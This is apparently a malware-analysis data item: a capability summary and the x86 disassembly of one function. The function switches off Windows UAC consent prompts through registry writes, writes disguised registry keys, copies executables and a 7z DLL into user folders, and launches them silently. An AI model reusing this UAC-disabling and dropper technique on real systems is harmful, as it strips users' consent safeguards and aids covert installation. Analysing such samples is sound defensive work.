Function at 0x100010a0
Capabilities:
Copy file
Create process on windows
Get common file path
Get program files directory
Query or enumerate registry value
Read .ini file
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x7d88
call fcn.100318f0
mov eax, dword [0x10043040]
xor eax, esp
mov dword [esp + 0x7d84], eax
push esi
push edi
push 0x100
xor esi, esi
lea eax, [esp + 0x6c]
xorps xmm0, xmm0
push esi
push eax
movaps xmmword [esp + 0x5c], xmm0
call fcn.100041c0
add esp, 0xc
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [sym.imp.ole32.dll_CoCreateGuid]
nop word [eax + eax]
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x1000110d
inc esi
mov eax, 1
mov word [esp + 0x68], ax
cmp esi, 3
jl 0x100010f0
jmp 0x10001164
movzx eax, byte [esp + 0x5f]
push eax
movzx eax, byte [esp + 0x62]
push eax
movzx eax, byte [esp + 0x65]
push eax
movzx eax, byte [esp + 0x68]
push eax
movzx eax, byte [esp + 0x6b]
push eax
movzx eax, byte [esp + 0x6e]
push eax
movzx eax, byte [esp + 0x71]
push eax
movzx eax, byte [esp + 0x74]
push eax
movzx eax, word [esp + 0x76]
push eax
movzx eax, word [esp + 0x78]
push eax
push dword [esp + 0x78]
lea eax, [esp + 0x94]
push str._08X_04X_04X_02X_02X_02X_02X_02X_02X_02X_02X
push 0x7f
push eax
call fcn.10001030
add esp, 0x38
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea eax, [esp + 0xc]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
mov dword [esp + 0x58], 0
call edi
test eax, eax
jne 0x100011a7
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [esp + 0xc]
mov dword [esp + 0x4c], 0
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call edi
test eax, eax
jne 0x100011ea
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
lea eax, [esp + 0xc]
mov dword [esp + 0x4c], 1
push eax
push str.SOFTWARE
push 0x80000001
call edi
test eax, eax
jne 0x10001227
push 4
lea eax, [esp + 0x50]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
push 0x800
lea eax, [esp + 0x258c]
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0xc], 0
lea eax, [esp + 0x1b80]
push 0x208
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x4c], 0x104
lea eax, [esp + 0xc]
mov dword [esp + 0x64], 1
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPrompEx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x1b84]
push eax
lea eax, [esp + 0x6c]
push eax
push 0
push str.CLSD_UUIDC_NewYueiot
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 0xc]
call esi
lea eax, [esp + 0x1b80]
push eax
lea eax, [esp + 0x258c]
push 0x10040588
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x2588]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x10001324
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPrompEx
push 0x80000002
call edi
test eax, eax
jne 0x1000131c
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [esp + 0x6c]
push eax
push 1
push 0
push str.CLSD_UUIDC_NewYueiot
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
jmp 0x1000133e
lea eax, [esp + 0x2588]
push eax
lea eax, [esp + 0x6c]
push 0x80
push eax
call fcn.10011290
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetControlLGDConsentPromp
push 0x80000002
call edi
test eax, eax
jne 0x10001379
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [esp + 0x6c]
push eax
push 1
push 0
push str.CLSD_UUIDC_ProductName
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0xc]
call esi
push 0x7fc
lea eax, [esp + 0x5d90]
mov dword [esp + 0x5d8c], 0x35
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x1d88], 0x32
lea eax, [esp + 0x1d8c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x3588], 0x35
lea eax, [esp + 0x358c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x4588], 0x36
lea eax, [esp + 0x458c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x5588], 0x39
lea eax, [esp + 0x558c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x2d88], 0x37
lea eax, [esp + 0x2d8c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x3d88], 0x38
lea eax, [esp + 0x3d8c]
push 0x7fc
push 0
push eax
call fcn.100041c0
add esp, 0xc
mov dword [esp + 0x4d88], 0x38
lea eax, [esp + 0x4d8c]
push 0x7fc
push 0
push eax
call fcn.100041c0
movups xmm0, xmmword [str.WKCSPUBJUJuS]
mov eax, dword [0x1004083c]
add esp, 0xc
mov dword [esp + 0x13e0], eax
mov ax, word [0x10040840]
movups xmmword [esp + 0x13b0], xmm0
push 0x79a
movups xmm0, xmmword [0x1004081c]
mov word [esp + 0x13e8], ax
lea eax, [esp + 0x13ea]
push 0
movups xmmword [esp + 0x13c8], xmm0
push eax
movups xmm0, xmmword [0x1004082c]
movups xmmword [esp + 0x13dc], xmm0
call fcn.100041c0
add esp, 0xc
lea eax, [esp + 0x13b0]
push eax
call fcn.10010ef0
movups xmm0, xmmword [str.CSIDL_APPDATA]
add esp, 4
movups xmmword [esp + 0x370], xmm0
movq xmm0, qword [0x10040854]
mov esi, dword [0x1004085c]
lea eax, [esp + 0x38c]
push 0x1ec
push 0
push eax
movq qword [esp + 0x38c], xmm0
mov dword [esp + 0x394], esi
call fcn.100041c0
movups xmm0, xmmword [str.CSIDL_APPDATA]
add esp, 0xc
mov dword [esp + 0xfb8], esi
lea eax, [esp + 0xfbc]
movups xmmword [esp + 0xfa0], xmm0
movq xmm0, qword [0x10040854]
push 0x1ec
push 0
push eax
movq qword [esp + 0xfbc], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
lea eax, [esp + 0x5a0]
movups xmmword [esp + 0x578], xmm0
movups xmm0, xmmword [0x10040870]
push 0x1e0
push 0
movups xmmword [esp + 0x590], xmm0
push eax
movq xmm0, qword [0x10040880]
movq qword [esp + 0x5a4], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
mov esi, dword [0x100408b8]
lea eax, [esp + 0x9c8]
add esp, 0xc
mov dword [esp + 0x9b8], esi
movups xmmword [esp + 0x988], xmm0
movups xmm0, xmmword [0x10040898]
push 0x1d4
push 0
movups xmmword [esp + 0x9a0], xmm0
push eax
movups xmm0, xmmword [0x100408a8]
movups xmmword [esp + 0x9b4], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0x198], esi
lea eax, [esp + 0x19c]
movups xmmword [esp + 0x168], xmm0
movups xmm0, xmmword [0x10040898]
push 0x1d4
push 0
movups xmmword [esp + 0x180], xmm0
push eax
movups xmm0, xmmword [0x100408a8]
movups xmmword [esp + 0x194], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
lea eax, [esp + 0xbb8]
movups xmmword [esp + 0xb90], xmm0
movups xmm0, xmmword [0x10040870]
push 0x1e0
push 0
movups xmmword [esp + 0xba8], xmm0
push eax
movq xmm0, qword [0x10040880]
movq qword [esp + 0xbbc], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.CSIDL_PROGRAM_FILES]
add esp, 0xc
lea eax, [esp + 0x11d0]
movups xmmword [esp + 0x11a8], xmm0
movups xmm0, xmmword [0x10040870]
push 0x1e0
push 0
movups xmmword [esp + 0x11c0], xmm0
push eax
movq xmm0, qword [0x10040880]
movq qword [esp + 0x11d4], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0x7b0], esi
lea eax, [esp + 0x7b4]
movups xmmword [esp + 0x780], xmm0
movups xmm0, xmmword [0x10040898]
push 0x1d4
push 0
movups xmmword [esp + 0x798], xmm0
push eax
movups xmm0, xmmword [0x100408a8]
movups xmmword [esp + 0x7ac], xmm0
call fcn.100041c0
movups xmm0, xmmword [str.C:UsersDefaultDesktop_]
add esp, 0xc
mov dword [esp + 0xdc8], esi
lea eax, [esp + 0xdcc]
movups xmmword [esp + 0xd98], xmm0
movups xmm0, xmmword [0x10040898]
push 0x1d4
push 0
movups xmmword [esp + 0xdb0], xmm0
push eax
movups xmm0, xmmword [0x100408a8]
movups xmmword [esp + 0xdc4], xmm0
call fcn.100041c0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [esp + 0x37c]
add esp, 0xc
push str.CSIDL_APPDATA
push eax
call esi
test eax, eax
je 0x100017af
push str.CSIDL_PROGRAM_FILES
lea eax, [esp + 0x57c]
push eax
call esi
test eax, eax
jne 0x100017d9
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [esp + 0x370]
push eax
push 0
push 0
push 0x1a
push 0
call esi
lea eax, [esp + 0x578]
push eax
push 0
push 0
push 0x26
push 0
call esi
lea eax, [esp + 0x370]
push eax
lea eax, [esp + 0xfa4]
push 0x104
push eax
call fcn.10011290
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x37c]
add esp, 0xc
push 0x10040584
push eax
call edi
push 0x10040584
lea eax, [esp + 0x57c]
push eax
call edi
lea eax, [esp + 0x578]
push eax
lea eax, [esp + 0xb94]
push 0x104
push eax
call fcn.10011290
add esp, 0xc
lea eax, [esp + 0x578]
push eax
lea eax, [esp + 0x11ac]
push 0x104
push eax
call fcn.10011290
add esp, 0xc
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0x16c]
push eax
call edi
push str.QKFJSGCGWGRQ
lea eax, [esp + 0x16c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x5d90]
push eax
push str.NULL
push 0x100408e4
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x1d90]
push eax
push str.NULL
push 0x100408f4
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x3590]
push eax
push str.NULL
push 0x100408fc
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x4590]
push eax
push str.NULL
push 0x10040904
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x5590]
push eax
push str.NULL
push 0x1004090c
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x2d90]
push eax
push str.NULL
push 0x10040914
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x3d90]
push eax
push str.NULL
push 0x1004091c
push 0x100408ec
call esi
lea eax, [esp + 0x168]
push eax
push 0x64
lea eax, [esp + 0x4d90]
push eax
push str.NULL
push 0x10040924
push 0x100408ec
call esi
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0x784]
push eax
call edi
push 0x10040584
lea eax, [esp + 0x784]
push eax
call edi
lea eax, [esp + 0x1d88]
push eax
lea eax, [esp + 0x784]
push eax
call edi
push str..exe
lea eax, [esp + 0x784]
push eax
call edi
lea eax, [esp + 0x13b0]
push eax
lea eax, [esp + 0xd9c]
push eax
call edi
push 0x10040938
lea eax, [esp + 0xd9c]
push eax
call edi
lea eax, [esp + 0x1d88]
push eax
lea eax, [esp + 0xb94]
push eax
call edi
push str..exe
lea eax, [esp + 0xb94]
push eax
call edi
push str.7z.dll
lea eax, [esp + 0x11ac]
push eax
call edi
push 0x800
lea eax, [esp + 0x658c]
push 0
push eax
call fcn.100041c0
add esp, 0xc
lea eax, [esp + 0x2d88]
push str.__aos__y
push eax
push 0x1004096c
push 0x10040974
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x384]
push eax
push 0x10040974
push 0x10040978
push 0x10040974
lea eax, [esp + 0x35ac]
push eax
push 0x10040584
lea eax, [esp + 0x13dc]
push eax
lea eax, [esp + 0x9b8]
push eax
push 0x10040974
push 0x10040980
lea eax, [esp + 0x65c4]
push 0x10040988
push eax
call esi
add esp, 0x44
lea eax, [esp + 0x6d88]
push 0x800
push 0
push eax
call fcn.100041c0
add esp, 0xc
lea eax, [esp + 0x3d88]
push str.__aos__y
push eax
push 0x1004096c
push 0x10040974
lea eax, [esp + 0x13c0]
push eax
lea eax, [esp + 0x99c]
push eax
push 0x10040974
push 0x10040978
push 0x10040974
lea eax, [esp + 0x45ac]
push eax
push 0x10040584
lea eax, [esp + 0x13dc]
push eax
lea eax, [esp + 0x9b8]
push eax
push 0x10040974
push 0x10040980
lea eax, [esp + 0x6dc4]
push 0x10040988
push eax
call esi
add esp, 0x44
lea eax, [esp + 0x7588]
push 0x800
push 0
push eax
call fcn.100041c0
add esp, 0xc
lea eax, [esp + 0x4d88]
push str.__aos__y
push eax
push 0x1004096c
push 0x10040974
lea eax, [esp + 0xfb0]
push eax
push 0x10040974
push 0x10040978
push 0x10040974
lea eax, [esp + 0x55a8]
push eax
push 0x10040584
lea eax, [esp + 0x13d8]
push eax
lea eax, [esp + 0x9b4]
push eax
push 0x10040974
push 0x10040980
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s
lea eax, [esp + 0x75c4]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0xbd0]
add esp, 0x40
push 0
push eax
lea eax, [esp + 0x788]
push eax
call esi
test eax, eax
je 0x10001ce1
push 0
lea eax, [esp + 0x11ac]
push eax
lea eax, [esp + 0xda0]
push eax
call esi
test eax, eax
je 0x10001ce1
lea eax, [esp + 0xb90]
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x20], eax
xorps xmm0, xmm0
lea eax, [esp + 0x6588]
movlpd qword [esp + 0x34], xmm0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
mov dword [esp + 0x18], 0x40
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], str.open
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10001c7d
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
lea eax, [esp + 0x6d88]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10001ca5
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
lea eax, [esp + 0x7588]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10001ccd
push 0xffffffffffffffff
push dword [esp + 0x4c]
call esi
push dword [esp + 0x48]
call edi
mov ecx, dword [esp + 0x7d8c]
pop edi
pop esi
xor ecx, esp
call fcn.10001dd0
mov esp, ebp
pop ebp
ret
push 1
call fcn.100076f0
int3